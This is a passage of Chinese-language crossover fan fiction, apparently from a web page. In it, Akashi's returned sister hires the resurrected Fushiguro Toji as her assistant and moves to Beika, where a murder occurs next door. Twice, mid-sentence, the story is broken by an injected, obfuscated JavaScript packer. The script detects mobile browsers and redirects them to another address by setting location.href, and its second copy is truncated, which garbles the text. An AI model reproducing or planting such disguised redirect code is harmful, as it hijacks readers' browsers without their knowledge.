《你喜欢什么类型的男人》 1. 第 1 章 小莳与哥哥的争论进行至尾声时,一个沾血的身影顺从物理学定律径直落在了餐桌上。 落是自由落体的落,而鉴于本严谨摆放着五菜一汤的简约餐桌不仅一片狼藉,实木的桌面也被这位体型结实的男性砸出M型——断了,这个落字可能不够准确。 眼前这一幕多少有点既视感。 小莳的哥哥是她一年前突然来到这个世界时意外相认的。 这位哥哥,赤司征十郎,自然亲和,平易近人,然而隐藏在外表之下的好胜心与控制欲绝不亚于他的温柔。 怪不得打个篮球都要开【天帝之眼】这种听起来就很微妙的技能呢。 快要开学的时节总是能困扰一大批七岁到二十余岁不等的学生群体,赤司没想到这份困扰有朝一日会来到他们的家族血脉上。还是直接想转学的那种。 “不是洛山高校上不起,而是米花町帝丹高中更具性价比。” “小莳高一的文化课虽然落后,但老师和学生会应该没有为难你。现在的学生会长应该是我篮球部的后辈,班主任也是和赤司家一直有联系的,所以没有完成暑假作业也没关系。没有缘由的要转学在我这可是会被驳回的哦。” “京都到东京新干线就有两个半小时,算上再到东大的车程,四舍五入就是足足三个小时!哥哥,如果一趟要三个小时,那你春假前都没有机会再见到异地的可爱妹妹了。没错,一切都是因为我是一个隐形的、扭曲的兄控,我只是太想见到你了,帝丹高中校门口左转就是地铁站,20分钟直达东大,如果条件允许的话我还想和哥哥住在一起,可惜您当初选择了住校,我只好含泪一个人住豪宅了。我会翘社团活动去东大看您的,拜托了拜托了,如果我加入帝丹高中,我一定会变成世界上最活泼开朗的小女孩!” “…到底为什么这么想去帝丹?”赤司征十郎不解。 他的这位幼妹在儿时一次郊游走失,不知所踪十余年,彼时保姆的口供有推脱责任之嫌,说着“一直牵着手但一瞬间消失了,下一秒活生生的孩子就不见了”。本是不足以取信父母、警方乃至任何人的说辞,然而去年夏天,他亲眼目睹从京都老宅自己的卧室天花板从天而降一位白发蓝瞳的美丽少女。 DNA检测结果揭示了亲缘关系。 不可思议。 父亲是成功的商人,杀伐果决的财阀掌控者,强势严苛的教导者。赤司幼时感受到的所有温情皆来自温柔的母亲——在小莳三岁失踪后便一病不起,在他国中时就与世长辞。 四年后,阔别已久的妹妹,有着和母亲一样的蓝色眼瞳,在某个平常的午后乍然出现。对失落的十三年空缺缄默不语。 家人啊… “主要是为了哥哥,其次是因为有趣,第三是不想和父亲住一起。有点受不了一个相处时间并不长的男性对我的生活指手画脚,即使是父亲也婉拒了。”食指拇指合拢摆出一点点的手势。 根据网上的资料显示,米花町是一年来全日本发生凶案率最高的地点,光是怪盗基德就光顾了四五次,杯户饭店有三次差点被炸……但诡异的是东京一直都笼罩着和平的雾气,几乎没人发觉这里有异常。而且一位叫做工藤新一的高中侦探与其中不少案件都密切相关,直到几个月前销声匿迹——帝丹校内论坛传言他潜伏破大案去了。连一刻也没有为这位侦探之星的销声匿迹而惋惜,米花町此后立刻踊跃出因连续破案而名声大噪的私家侦探毛利小五郎,恰好他的女儿也在帝丹高中上学。 与赤司集团齐名的铃木集团的大小姐铃木园子也在那上学。 明明在校生的身份一位比一位更重量级,但是学校名声低调得一塌糊涂,好怪,想去看看是怎么个事。 泽田小莳,完全没有4岁之前的记忆,在4岁后立刻觉醒了“未来的14岁的自己加入黑手党集团,然后和十年前来的同样14岁的初中生们拯救世界”的记忆。一段在本世界不存在的记忆,直接让4岁儿童成熟14年。然后被返回过去仍然是14岁的队友们收留,直接就进了彭格列的编制,成为了帅气又迷人的Mafia。 苦练幻术十余载,然后穿越到唯物主义世界。 强势认祖归宗。 DNA都说话了,小莳顺势接受结果。虽然上学有点烦,父亲有点强权,哥哥有点隐形控制欲,但是咱们三个把日子过好比什么都重要(苦笑扶额)。 现在,她已经有点适应赤司小莳这个身份。 “其实想离开父亲是第一名,觉得帝丹有趣是第二名,想见我才是第三名吧。”在没个正型的幼妹面前,赤司难得放下架子,托腮思考,“不过你能这么说,即使是糊弄也很难生气。” “我心昭昭,苍天可表。如果我说谎,就是让我一天只吃三顿饭,住豪宅开豪车我也愿意!” “……我在米花町确实有一套公寓,只是有点小。小莳可以吗?” 好耶。 下一秒,有人笨重的摔在餐桌上,将它一砸为二。 * “哥,咱爸还有遗落在外的兄弟吗,在外面结识了一些仇人的那种?” “不,我们家只有你一位血脉曾遗失在外的,而且赤司家没有黑发。”赤司征十郎冷静起身,“我让管家来收拾一下,过三十分钟再来吃吧。” 哦,差点忘了这是一个黑发被80的世界。 小莳饶有兴致的凑近降落体。男性,180多,失去意识了,虽然有很浓的血腥味,但是身上看不出任何伤口。再近一步,鼻唇翕动,几乎要贴到这位男士的腰上,这里是闻起来伤势最严重的地方,不仅是血的味道,好像还有器官里内容物的臭味。哇,如果不是他本人受伤的话,难道是这人把谁的内脏都掏出来翻了一遍吗? Yue 下一秒,小莳浑身的神经都紧张起来,久违的战栗感笼罩全身,一瞬间被猎手瞄准的感觉过滤了房间里所有的空气,只留下凝滞的寂静,甚至听不见自己的心跳。 然后她呼出一口气,直觉说这个人危险不是很大,虽然很凶恶的样子。 明明是唯物主义世界,为什么有的人被削成普通女高,有人的压迫感直接让女高警铃作响。可恶,无缘无故的攀比之心起来了。 “咒术师?”身体被凿出一个大洞的痛彻感仿佛犹在,与之相比肩背撞击的痛感几乎没有。伏黑甚尔像左侧身体望去,看见了凑着鼻子接近他左腰的白色长发少女,和自己完好的身体。 上一秒眼睛里是dk白毛,再睁眼又是白毛,一瞬间杀意骤起。 五条家? 不,除了那个六眼小鬼意外应该没有白发蓝眼的人了,倒不如说正是六眼才让他的形貌如此特殊。 没听说什么咒术能让人死而复生,能做到这种程度的话应该早就名扬御三家了。 如果没记错的话,他应该是死亡了吧。 那个时候,隐隐预感到了危险,但没有逃亡……果然还是想要证明我存在的价值…… 这女孩胆子真不小,一般的非术士早就吓得魂飞魄散了,是被吓呆了? 咒术师什么的听都没听说过,但是这丝毫不损小莳的沟通欲望。第一,听起来像是超能力什么的;第二,说明这个很凶但是给人感觉不坏的人也来自异世界;第三,无往不利的直觉告诉自己这人是很好很好的,今天遇到的第二件好事发生力。 转学又遇到新的和自己来历一样的人,生活真的充满了未知。 “你叫什么名字?” “伏黑甚尔。” 等等,他为什么要乖乖回答一个小姑娘的问题。 “伏黑甚尔,有趣的名字。”难道是冬至生的? “……” “好了,寒暄就到此为止。伏黑甚尔,你会做饭吗?”并不在意无人回应的冷场,小莳紧接着提出下一个问题。 这不还是在寒暄嘛,伏黑甚尔有点不明白眼前人:“……算是会吧。” 然后见她松了一口气,语调轻快:“那太好了,我还想着如果你回答‘不会’我要怎么说呢。你看,我和家人先前在吃饭,然后你突然掉下来把我们的午饭砸了,既然你会做饭那就太棒了,我带你去厨房然后你看着办发挥一下吧。我口味不算挑,但是不吃葱和洋葱。” …… “怎么,摔疼了吗?需要我搭把手帮你起来吗?我有点饿了,所以如果你有什么需要我打下手的地方,比如洗菜焯水,我非常乐意帮助你哦。” “啊,不用了,你带我去厨房就可以。” 三分钟以后,围上白发少女体贴提供的“为了防止菜和水弄到身上,请你戴上它”围裙,正在洗牛肉的伏黑甚尔理智回笼。 事情是怎么走到这一步的? 看似没什么不对然而,死亡-复活-做饭,无论哪两点都完全衔接不上。 说不用搭把手,小莳真就在旁边一动不动,微笑旁观伏黑甚尔,开冰箱,拿菜,洗菜,切菜,洗肉。 除了 “伏黑君,我今天不想吃莴苣,我们换成青菜吧。” “伏黑君有什么喜欢吃的吗?有的话可以加上哦,就算你把我们家桌子撞成两段我也不介意你和我们一起吃饭吆。” “甚尔君看起来就是处理牛肉的专家呢,刀工极妙!这种厚度的牛肉入口一定刚刚好,已经非常期待吃到嘴里的味道了。” 叽叽喳喳的人,但是也不是什么大不了的事情,顺便做一下。 可他到底为什么会在这里做饭。死后的世界如果不是永罚,那应该是跑着马的赛场才对。 小莳看见眼前的人果真被自己半忽悠着进厨房了,一切还都处理的井井有条,可见不是什么做饭小白,露出了欣悦的笑,同时心下感慨,赤司家掌控别人的能力果然是有点子遗传。 “甚尔君加油加油,我听见脚步声了,应该是管家要来收拾桌子,我先去看着那边哈。有事可以喊我,我是赤司小莳,你可以称呼我为赤司小姐~” 管家,小姐,又是什么大户人家。也对,看厨房的家电刀具,虽然没有一个认识的牌子,但是质量一眼皆上品。煤气灶电磁炉一应俱全,橱柜里的锅具就有十余种,架子上的几十种香料摆放的井然有序,手旁菜刀架还是带杀菌消毒功能的,上面还有按钮。 不过这种有管家的人家,总该有做饭的佣人吧。 “管家先生,劳烦把桌子收拾走,对了,我已经托朋友在厨房里做饭了,所以新的桌子还请尽快抬到这里。还有我记得哥哥身上被汤汁溅到了,您马上请派人带医药箱过去看一下他,或许手上有点烫伤。” 管家发出尖锐的爆鸣:“小姐的朋友今日登门了吗?!怎么能让您的朋友屈尊——” “不用在意这些细节,家里还有备用的桌子吗?他是自愿做饭给我吃的。然后别忘记给哥哥送医药箱。”小莳急急忙忙打断他,开口就是转移话题,“然后晚上如果父亲回家的话我亲自和他解释桌子的事情,如果他不回家那下次见到他再说,如果他没发现那最好,什么都不用说。父亲工作繁忙,这种家庭小事没有必要电话叨扰他。” 在厨房忙活个不停的伏黑甚尔也一直关注客厅内的动向,听这位赤司小姐面面俱到的解决突发事件,听到了“自愿做饭”时愣了一下。 伏黑甚尔:…… 老老实实做出了几个菜。 小莳闻到空气中逸散的香味时,对这位伏黑甚尔的做饭技术立刻放下心来,不错,是不会难吃的炒菜香味! 于是放心的小离片刻。 位于京都的赤司老宅统共只有8位佣人。对于日本三大财阀之一的家族来说有点少,但对只有三位主家日常居住的大宅子,8人绰绰有余。其中家主兼父亲赤司征臣每年有一半时间出差在外,就读东京大学的长子除放假外几乎不回老宅居住,算下来一年里被服务最多的对象还是被寻回的小姐小莳。 和这位伏黑先生身材相近的人是——花匠。 在院子里转了两步,找到花匠,言明来意,向他借了一套新买还没穿的常服后,小莳道别:“麻烦您到时候直接和管家报销。”年近40的人竟然会选择橙色的运动服。他还挺……阳光开朗,她浅夸了一下品味。 “哪里哪里,小姐谬赞了。这是我为打羽毛球买的。” 折返回厨房时,最后一道蔬菜已经下锅了。 小莳只熟悉食谱,对亲自做饭没任何心得,但反正蔬菜她也不吃,放到锅里然后不管就行,于是自信满满开口:“最后就交给我吧!刚刚有注意到伏黑你的衣服脏了,穿着黏黏糊糊想必也不好受,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15413069|168847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向和你身形相近的近川先生借了衣服。很巧是新衣服,款式也很潮流。”也许,太潮流了。 “……” 以过往年二十多年人生经验来看,伏黑甚尔并不是一个经常被他人友善相待的人,更不用说对方是第一次见面的陌生人。 女人除外,他还挺招女人喜欢的。 但这是个小丫头,他并不感兴趣。 按道理说他该警惕起来,虽然现在的一切大概率不是咒术师所为,反倒更像是所谓的死后世界,但这一切的未知也导向了更加扑朔迷离的未来。 稍微整理思绪,伏黑甚尔确定自己是被那六眼小鬼干掉了。 那又是怎么出现在这里的?这位赤司小姐和据她所言之前在场的哥哥怎么是这反应? 但大概因为虚术茈带来的死亡影响过大,眼下发生的事情看起来也都日常琐碎,相较前者的冲击不值一提,伏黑甚尔觉得很平静。 说不定这里是类似天国一样平静的地方。糟糕,差点以为他这样的猴子死后只能下地狱。 “卫生间的话在客厅出门左转沿着走廊到底的右手边,里面有淋浴间可以顺便冲个澡哦,那里浴巾每两天换一次,所以请不用客气的放心使用。”小莳给这位不速之客指明方向。 * 伏黑甚尔披着浴巾回到客厅时,两兄妹已经相对坐在新的餐桌前了,客厅整洁明亮,瓷砖地板洁净到反光,完全看不出此前的狼藉。 兄长是红色的头发,原来如此,这样才叫赤司。但是妹妹是白色的头发—— “太失礼了,有个远房表兄和我一样是白发蓝瞳,但却姓黑子呢,我们这也是一种家族遗传。快收起这个奇怪的打量!”见他视线在两人头顶逡巡一圈,然后露出无语又恍然大悟的神情,小莳深深地感受到冒犯。 “好吧。”被点名的男人不以为意的耸耸肩,拉开另一侧的凳子,自顾自的坐下。 “人到齐了那我就不客气的开动咯,”小莳率先拿起筷子开吃。“伏黑君是从哪里来的?” “东京。” 怎么说,流水的万千世界,铁打的东京。想起并盛町旁边也是东京市区,可惜从天而降来到这里以后,小莳再也没有听说过并盛町。联想到这人之前说的什么咒术师,大概可以判断又是一个新的世界,而且多少也沾点怪力乱神。 “你听说过米花町吗?正好在东京中心,寸土寸金。” “没有,嗯?” “所以说你穿越了!锵锵,穿越就是,从一个世界到另外一个世界的意思。”小莳竖起空闲着的左手食指,给伏黑甚尔比划着。“米花町有东都铁塔、芝公园这些著名景点,东大也在米花边缘呢,可以说是东京经济数一数二发达的地方了。” ……这些地区明明都在东京都港区,“你想说明什么?”伏黑甚尔懒得思考,只想直接听到答案。 “你看,按照一般的物理学定律,如果人从天上掉下来,天花板上是会有一个大洞的吧。可是现在上面什么都没有哦?” 一般物理学定律也没说会有人真的从天上掉下来吧,虽然注意力偏了,伏黑甚尔还是按照小莳说的抬起了头,看到了头顶完好无缺的墙壁。 “简直就像是从另一个次元里突然穿越过来的呢!” 赤司征十郎静静看着幼妹表演,显然小莳和伏黑甚尔此前不认识,此番又是忽悠去做饭,又是热情邀请共进午餐,如果没记错的话,从午餐被打断到现在一共也只过了几十分钟。 她的表演欲今天有些过头。 还是安静再观察一下好了,对于从天而降这件事情,他自认没有什么发言权。 “没错,我姑且也算是异世界来客。好端端的坐在新装修的办公室里,咚的一下就好像掉进兔子洞里,然后咻的一下就降落到哥哥的卧室了。总之一阵兵荒马乱过后被带去验了DNA,去医院检查完身体见了几个心理医生和警察,一切就都尘埃落定了。” “哦,我被一个小鬼干掉了,本来以为就这样结束了。没想到醒来就砸断了你们家的餐桌,真是抱歉。”伏黑甚尔冷静开口,虎口夹着筷子跟顶了顶侧脸。 嚯,一开口就是重量级。是被咒术师干掉的吗?小莳立刻发散。 赤司征十郎闻言侧过头去看他,确认此人不是在开玩笑后,看见幼妹反而兴致更浓了:…… “你身上血腥味这么浓,我以为是职业屠夫,就是杀猪的之类的。” “……” “没想到是被干掉了呢。” “……” 伏黑甚尔有大概猜测过说出事实后对方的反应,没想到实际比设想荒诞的多。 “总之,我是一个很有边界感的乖巧小女孩,‘到底发生了什么’这种话题太沉重了就直接跳过,我不会强行提问的。你会开车吗?” “……会。” 眼前自称乖巧小女孩的少女说着边界感,明明更像是自说自话专业户,想不明白她的意图,但他也懒得思考,总归不是什么难为情的问题,无所谓了。 伏黑甚尔:顺从。 “你之前是从事什么工作的呢?” “入赘了。” 小莳一听,满脑子都是家庭伦理大戏,入赘的小白脸威胁到长子的继承权,然后被咔嚓。再添加一些奇幻元素,这位夫人的家族是个传承久远的咒术师派系,有点强壮但在特异能力面前手无缚鸡之力的小白脸被先欺压着含泪洗全家内裤然后和继子翻脸,再然后这样那样,就出国了。 天国。 “所以你很擅长做家务咯?会打架吗?” “哈?家务事马马虎虎,格斗的话,很强。” 很强,但是被小鬼干掉了。好吧,很符合刻板印象中男性特有的脆弱自尊心。体贴温柔的小女孩不会戳穿。 不过就那一阵杀意来看,应该是个稍微有点本领的人,如果自己的能力没有消失,大概要耗时超过三分钟才能把他解决。而且回答问题还算准确,响应也不慢,又是集做饭、家务、驾驶、保镖为一体的人才。小莳心下已有打算。 笑眯眯的开口“伏黑君有想好未来的去处吗?” 得到预想中否定的答案后,“哥哥,我觉得陪我一起去米花的人有着落了!我认为伏黑先生可以做我助理!” 2. 第 2 章 提议毫无疑问被赤司征十郎无情镇压。 “我不会同意,父亲也不会同意。” “得了吧,父亲早就说‘征十郎,小莳的事情都交给你了’,他根本不会在乎我转学或者搬出老宅。” “我不同意,而且你不应该这样同我说话,小莳。” “我觉得这个还有转圜的余地。伏黑君本来都死掉了,但不知怎么的来到这个世界,冥冥之中这么发展肯定有他的道理!又恰巧是来到我们家,我们不得包就业吗?正好我们来历差不多相同,恰逢我要转学身边缺人,伏黑君在此时此地出现,简直就是命运的安排!” 赤司一直都知道小妹有信口开河的习惯,扩大事态、浮夸描述,他错觉自己早已习以为常,但那大概是因为之前那些夸大事实只被用在自己身上——不得不说他甚至颇为受用,现在听见什么“命运的安排”只觉得分外刺耳。 他后知后觉意识到:从话题逐渐转向的时候就应该出口干预的。 “意见驳回。你要违逆我吗,小莳?”兄长竖起手指,手臂越过餐桌点在妹妹的鼻尖上,警告意味不言而喻。 “没有人在意我的意见吗?” 赤司征十郎:“伏黑君,请讲。” “我是没所谓的--包吃包住每个月给钱就行。” 小莳觉得自己没看错人,这位伏黑甚尔开口又是王炸,连忙接话打配合:“对对对,包吃包住外我可以开出100w的月薪。” 眼看哥哥即将黑化,体贴孝顺的好妹妹自然当仁不让开始灭火,“打住打住,大家都停一停听我说。” ……正反都给她说完了 “伏黑先生请坐在这里不要走动,哥哥你和我回房详谈好吗?” * 打断伏黑甚尔瞌睡的是十几米开外门把手被拧动的声音,随后他解锁了兄长的真实姓名:“征十郎你真是世界上最好的哥哥。这话你听来大概有些夸张,然而你现在是我唯一的兄长。” 语调高昂的声音停顿片刻,再次开口时音调变得轻柔和缓:“你看,生活不易,我只有靠着你才能过些好日子。住在京都就像世界在对我投毒。” 伏黑甚尔只觉得这姑娘挺会讲话,他也不喜欢京都。 哦,还有一点,转生一个小时内他又就业了,如果孔时雨在的话说不定会为他的勤劳感动到哭。话说……他跑的真快。 小莳挽着哥哥的胳膊到客厅,向伏黑宣传了这则喜讯。“由于转学需要一些手续,所以本小姐的暑假又堂堂续费一周,教务处暑假期间不上班实在是好耶!” “因为要一个人转学去东京才特此聘请伏黑先生做我的助理,到时候我的生活后勤就拜托你咯。”想到伏黑甚尔并不清楚这项工作的缘由,小莳还是稍微解释了一下,“当然,作为目前已知的同病相怜唯二伙伴,以后的共同生活也请多多指教。不管你是因为什么理由到这里来的,至少在这个世界上,咱们还挺像,所以你不用觉得孤单。” 确实,这个女孩还挺讨喜的,只是说到孤单……他觉得她在自我投射,有点不太让人讨厌的自作多情。 * 篮球社和学生会的事项敦促赤司征十郎早早离开京都本家,伏黑甚尔算来,只过了两天,这个个子不高但行事过分可靠的兄长就离开了,剩下的事项被交给了管家。 带薪、无所事事的夏天,本该无聊至极,但这其中出现了一些小小的偏差。 小莳头天就在网上下单了手机,第二天来自2006年的伏黑甚尔就见识到了互联网的种种奥妙。 透过网络,伏黑甚尔瞥见了繁荣的、没有咒力与咒术师、由七十亿普通人构成的世界一隅。 但他觉得,看似美好和平的生活很可能危机四伏,所以一切都无所谓,哪里都一样。 没什么值得期待的。 在高强度上网后伏黑甚尔是这样嘴硬的。 小莳在床上瘫了三天,第四天随管家前往旧学校办理了退学手续。暑假作业什么的当然是就不用交了。向老同学们分发由管家全权代理购买的社交礼物,然后没什么留恋的离开。 拜拜嘞洛山,我要去东京拥抱美好生活力! * 没有什么需要携带的东西,小莳选择两小时的新干线轻装上阵。 他问:“有两个问题。” “请讲。” “你和赤司征十郎说了什么?让他改变主意的。” “伏黑君也会好奇这些吗?”调试好座位仰倒下去的小莳闻言看向伏黑甚尔,“我以为你也是边界感很强的类型。” “……只是因为事关工作所以关心一下。那之后一直没和你说话。” “是用亿点点个人信息换来的哦。” 没听懂。 “已经过去一周多了你才问,一切回忆都被这本《暗夜男爵》覆盖了。我得组织一下语言再回答你。第二个问题是?” 不想回答没必要随口找这种理由。算了,和他也没关系,有钱拿就好。“我以后是要开车。” “嗯哼。” “那我们应该从赤司家开车去吧。”伏黑甚尔冷静指出,“不然没有车。” “你说得对,但是开车要很久,才上班就让你连续工作5小时我会良心不安。” “……现在怎么办。” 说到这小莳可就不困了,她撑着扶手做起来,身体向伏黑甚尔方向倾去,神色严峻:“伏黑君你应该知道‘御三家’的说法吧。” 却见他身体一僵,“诶,是我靠太近了吗?你也没说你对美少女过敏啊。”一下就破坏了刚刚自己营造的严肃氛围。 “不是……我来的那里以前也有御三家。”有不好的回忆。伏黑甚尔粗略说明。 “没错!这正是我要说的,我来的地方也有个7^3,再加上本小姐我博览群书,窥破天机,发现【御三家】这个设定大概是所有世界的时尚单品。不管是俗套文学还是热血漫画里,都会加点这个流行元素。现实世界也一样。” “你想表达什么。” “身为名门望族的大小姐,御三家之一的赤司家的嫡女,终究还是瞒不住了。”在看起来钝钝的伏黑甚尔第一次明显表现出被吓到以后,懂事的小莳就靠回了自己的座位。现在她目光越过伏黑甚尔身前,空洞的望着对面的窗外,语调半是嗟叹半是凉薄。 伏黑甚尔身上肌肉紧绷起来,他在认真听。 今天小莳穿着一件学院风的连衣裙,黑色的假外套部分剪裁得体之余,最让她喜欢的就是口袋不少,她右手伸进左腰的口袋,抽出一片黑色的物件:“是的,我们是有一点点泼天的富贵。” “……” 小莳得意介绍:“你看,这是黑卡。黑卡不管在哪个世界都是‘购物权限很高的vvip卡’应该也算是时尚单品设定,所以我们走到东京某家车行,请销售为我们介绍感兴趣的车,然后刷卡,就可以达成竖着进去坐着出来成就了。” 好吧,这家伙是有钱人家的大小姐。伏黑甚尔不觉得自己被戏弄了,也并不承认刚刚有一瞬间被唬住,只是觉得这小孩有点欠揍,如果不是工作……算了。 “给你亿点点小小的钞能力震撼。”汗流浃背吧,打工仔。 伏黑甚尔彻底失去沟通欲望。 “其实3这个数字还挺有趣的,我人生中读的第一本书就是……天主教三位一体……” 伏黑甚尔根本没在听,他开始看手机。 大约一小时后,列车行到静冈站,停靠几分钟,又启动起来,小莳感受到来自座椅上的推力,大概想好了措辞,便开口:“伏黑君现在想听一听第一个问题的回答吗?” “?”伏黑甚尔一开始没反应过来,过了一会才想起自己先前问的问题,“那个啊,不感兴趣了,你不必回答。” “我都已经想好了,你必须听!” “……”好幼稚的小孩。 “按照这里的说法:我是三岁的时候失踪的,而我本人完全没有四岁之前的记忆。突然来到新世界然后突然有了父亲和兄长,怎么想都觉得很怪。” “原先世界的亲人朋友一夕之间全部消失,我曾经的居所在现在日本的地图上根本就没有标注,也就是说,即便我亲自踏足这片岛上的每一寸土地,也不可能寻找到旧友故地。我水土不服了几周,终于意识到这一点。” “挺郁闷的,我和家里的感情也算不上好。这里不好主要是指父亲,和征十郎以前就是比较礼貌的早上中午晚上好,但是没话聊。我并非主动选择了回到血亲身边,三岁的时候必定也不是我选择离开,可见命运半点不由人,我不发疯而是很努力的活着已经精神状态很良好了。” “出于不信任和情感上的芥蒂,开始我没有和任何人提及过我在另一个世界的人生。再后来这份陌生感消解了,但我还是觉得没必要分享。父亲随口闲谈时问我,我会普通糊弄过去,反正他也不在意;征十郎问过几次,还强烈推荐我一些心理医生,我认真的敷衍了他。” “但是前几天伏黑君你来了,让我突然产生了他乡遇故知的喜悦。虽然我们之前也不认识,但怎么说呢,相逢何必曾相识。那一瞬间我便觉得我并不是世界上唯一一个异乡人了!” 听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“总有一些办法,能够让想说的话传达出去的。我和征十郎粗略的分享了一下过往十年的人生,他突然就觉得你没那么危险了!”是的,她告诉他其实自己以前是个hitman,做过一阵子彭格列雾之守护者,兼瓦利亚荣誉队员,动动手指头就可以毁灭一个中等规格的家族。征十郎现在觉得小莳比这个男人危险多了。 伏黑甚尔从没听过类似的话,但除了前半段关于没有归属感的内容他稍微思考便能理解,其余的,都无关紧要。几乎可以称得上是一生不幸的伏黑甚尔自有一套应对生活摧折的办法。他从不问自己没有答案的问题,完全不为社会热点烦心,舍弃尊严,水泥封心,蜷曲在自己建造的平静堡垒中,遵循着“没钱就做小白脸,有单子就接,赚钱就去赌,然后输得一塌糊涂回到没钱。”这一简单而卓有成效的循环——事实上如果不是他一时冲动面对五条悟没有逃跑,指南还能生效好一段时间。 绝对能撑到10亿进账,他想。 赤司小莳的话像一阵风,也许不经意间吹拂过某个堡垒,然而水泥将缝隙填补的严严实实。随后风和堡垒交锋就被高速行驶的列车远抛在后。 “你就不发表一下听后感吗?” “没有。”伏黑甚尔把心里的一点点波动归结为,从来没人和他说教这些。这个大小姐还挺开朗,因为话多。 小莳想问他“你以前入赘不会是因为工作的时候不讨领导喜欢总是被优化吧”,最后没问。 再一小时,到站。东京车站里,小莳隔着老远就看到自家哥哥,红色的头发在哪里都有辨识度,顺利见面。 小莳领导先是莅临了离帝丹高中不远的公寓,并作出重要指示:“很好,这就是我未来一阵子的窝点了。” 赤司征十郎:…… 再是拨冗前往米花中央大楼,对米花町人民衣食住行状况进行走深走实的考察:“色香味俱全的同时,佐以40分钟快速破案下饭剧情,不愧是名侦探毛利小五郎。” 躲在隔壁桌脚,因为距离较近听得清楚的江户川柯南:…… 最后对隔壁米花中央商场商户进行点对点入户调研,高度重视商铺在班人员诉求,真抓实干刷卡,使米花商业焕发更多生机:“甚尔君,你左手拎的袋子比右手多一个,走路容易不稳。这样吧,你右手再把这个拎了,就完全没有这种烦恼了。” 伏黑甚尔:…… 由于小莳和伏黑甚尔都对购车没有了解,最后相关事宜被全权交给远在京都的管家,届时车行会直接把车开到公寓停车位。 “而你,伏黑,需要在两周内拿到驾照。”赤司征十郎给伏黑甚尔定下了第一个业务目标。“考试我已经用你的证件信息预约完成,记得准时参加。” 3. 第 3 章 公寓在专业家政人员的维护下连橱柜玻璃都熠熠闪光。巡视了一圈新的领土以后,小莳就强势入住主卧,顺带占有了附属的衣帽间。伏黑甚尔则是主动住在对门的次卧。最小的客房暂时空置。 “伏黑君,我想泡澡,帮帮。泡澡球要橙子精油味的那种,放2颗哦。然后浴缸的架子上放沐浴露和香薰蜡烛就可以了,手机我自己带进去。” 伏黑甚尔对于接收这份工作说不上后悔,毕竟入赘也有入赘的苦,夜场也有夜场的麻烦,接委托也有接委托的波折,何况钱和生活条件也很到位,只是工作内容仅仅是打杂,这辈子还是第一次。 说是助理,其实是做饭、洗衣、晾晒、开车的家政官。啧,好麻烦。 “今晚我就不吃饭了,你请自便。懒得做也可以点外卖,8000以内大小姐给你报销!”小莳大手一挥,然后瘫在客厅的沙发上等待。 * 当晚公寓门口传来尖叫声时,小莳已经结束了沐浴,裹着浴袍浴帽在梳妆台前看小说。 打开伏黑甚尔的房门,对方面朝门趴在床上,手肘支撑着上半身,正心不在焉的看一本手写册子。 “门口有人尖叫,我想去看看,你陪我去。” 伏黑甚尔合上手册时,小莳注意到“这好像是管家随身携带的那本?” “嗯,来东京之前把有关你的生活习惯那部分给我了,让我背下来。”他把手册推到一旁,起身。 “你竟然真的看了,好敬业。”但她随即宽慰道,“安心,我超随和的,平常也没有什么禁忌。” “上面说你不吃的食物有葱、洋葱、甘蓝、茭白……还有一切苦味的蔬菜。” “别说了!我明明没有表现的很明显,除了葱。管家先生也真是的,而且你拆台的反应也太快--呀。”被打断是因为她打开了门,大小姐已经好久没看见这么新鲜的尸体了。 这层楼发生了命案。 死者半截身子在隔壁那户邻居的外面,一半倒进门内。一把水果刀正中心脏,右手捏着带血的一张纸,疑似遗书。 第一眼像情感问题导致的上门自行了断,主打一个离开人世也要拖情人下水。 第二眼像伪装的。首先这里是米花,自鲨案件天生缺少发芽的土壤。米花民风淳朴,主打一个与其内耗,不如责怪他人,所以刑事案件比起普通销户事件多得多;其次在米花中心大厦餐厅里出现的眼镜小男孩一骑绝尘从楼梯间跑上来,大声喝止邻居——也就是疑似情感纠纷女方对死者进一步的接触,随后四个差不多大的小孩也跟着跑上来。 是小学生没错吧没错吧,怎么一个个对刑事案件这么积极踊跃。 “我们少年侦探团一定能完美解决案件!”光头尖尖,体型圆圆,看上去就是团队里抛砖引玉专业户。 “说什么傻话,这种时候自然要报警。”听着声音感觉至少有硕士学历,还是长大以后要当科学家的美少女。 然后小莳和眼镜小男孩来了个对视。 “晚上好啊,名侦探毛利的助手小先生。”午饭期间,从洗手间回桌的时候看见这小孩说是毛利侦探的助手然后问鉴证科人员事情来着。然后小莳还不凑巧的看见被称为柯南君的男孩对毛利小五郎脖子后面来了一针麻醉。这设计充满奇思妙想。 所以那个很怪的红领结难不成是变声器?你们小学生也真是的,没必要做到这种程度吧? 思绪漫无目的发散。 而未来要成为科学家的美少女出场时可能遭遇了一些阻碍。本来以为她会是沉着冷静的个性,结果她见到自己仿佛一瞬间ptsd了,战栗得像一只应激的小猫。 小莳对她的反应感到好奇,把自家房门完全打开,身旁高她一头的伏黑甚尔也完全暴露在众人面前。 “噫!!!”小胖墩被吓得后退步,差点被死者绊倒。 小硕士反应更是惊人,双手捂住嘴,其实说双手死死抠住脸颊更为贴切,眼神失焦。小莳发现她甚至停止了片刻呼吸。 伏黑甚尔穿着黑色T恤,和很普通的黑色裤子,好像没什么值得在意的点。 米花啊米花,这里还有多少惊喜是她不知道的。 最后是那个具有独自探案能力的少年先问好:“晚上好,大姐姐,我的朋友们好像被哥哥吓到了。”小莳评价为故作乖巧。 